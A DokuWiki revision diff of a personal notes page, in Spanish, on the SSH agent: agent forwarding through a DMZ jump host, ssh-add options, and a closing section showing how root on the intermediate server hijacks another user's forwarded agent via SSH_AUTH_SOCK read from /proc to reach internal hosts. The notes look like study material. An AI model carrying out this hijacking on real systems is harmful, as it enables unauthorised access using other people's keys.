linux:ssh:agente

Diferències

Ací es mostren les diferències entre la revisió seleccionada i la versió actual de la pàgina.

Enllaç a la visualització de la comparació

Ambdós costats versió prèvia Revisió prèvia
Següent revisió
Revisió prèvia
linux:ssh:agente [27/05/2025 05:34] – ↷ Page name changed from linux:ssh:cliente to linux:ssh:agente matelinux:ssh:agente [27/05/2025 05:41] (actual) mate
Línia 1: Línia 1:
 = agente SSH = agente SSH
 +== ssh-agent (port forwarding)
   * [[https://deephacking.tech/ssh-agent-hijacking-linux/]]   * [[https://deephacking.tech/ssh-agent-hijacking-linux/]]
-== caso practico +  * {{:linux:ssh:pasted:20250527-054104.png?700}} 
-añadir claves privadas agente para evitar tener que mencionarlas explicitamente+  * <code ; ~/.ssh/config> 
 +Host dmz 
 +    HostName dmz 
 +    User alice 
 +    ForwardAgent yes 
 +</code> 
 +  * Acceso ordenador DMZ (intermedio):<code bash>ssh dmz 
 +# ssh -i ~/.ssh/clave_privada -A user@host</code> 
 +  * <code ; ~/.ssh/config>Host internalserver 
 +    HostName 192.168.10.30 
 +    User alice 
 +    ProxyJump dmz 
 +    ForwardAgent yes 
 +</code> 
 +  * Acceso ordenador interno través del intermedio:<code bash>ssh internalServer</code> 
 +    * Si**ForwardAgent** està deshabilitado no se puede. 
 +  * verificar  
 +  * <code ; ~/.ssh/config> 
 +</code>
  
-en lugar de: +== opciones
-<code bash>ssh -i <clave_privada> user@host</code> +
- +
-usar: +
-<code bash>ssh-add <clave_privada> +
-ssh user@host</code> +
- +
- +
-== funcionamiento+
   * ''ssh-add <clave>'' : añade la clave indicada para su uso (si tiene contraseña, nos la pedirá al usar)   * ''ssh-add <clave>'' : añade la clave indicada para su uso (si tiene contraseña, nos la pedirá al usar)
     * ''-t <segundos>'' : duración de la identidad en el agente     * ''-t <segundos>'' : duración de la identidad en el agente
Línia 22: Línia 33:
   * ''ssh-add -x'' : bloquea agente   * ''ssh-add -x'' : bloquea agente
     * ''-X'' : desbloquea agente     * ''-X'' : desbloquea agente
 +
 +== comprometer el servidor intermedio
 +  * entrar como root
 +  * mirar usuarios del sistema
 +  * mirar si tienen procesos SSH abiertos:<code bash>pstree -p <USER> | grep ssh</code>
 +  * mirar variables del entorno del usuario:<code bash>cat /proc/<PID>/environ | tr '\0' '\n' | grep SSH_AUTH_SOCK</code>
 +  * mirar a quien corresponde el socket (root): <code bash>SSH_AUTH_SOCK=/tmp/ssh-XXXX41DN9o/agent.46200 ssh-add -l</code>
 +  * mirar ordenadores remotos del usuario: <code bash>cat /home/<USER>/.ssh/known_hosts</code>
 +  * probar la conexión con esos servidores:<code bash>SSH_AUTH_SOCK=/tmp/ssh-XXXX41DN9o/agent.46200 ssh alice@internalserver</code>
  
  • linux/ssh/agente.1748349256.txt.gz
  • Darrera modificació: 27/05/2025 05:34
  • per mate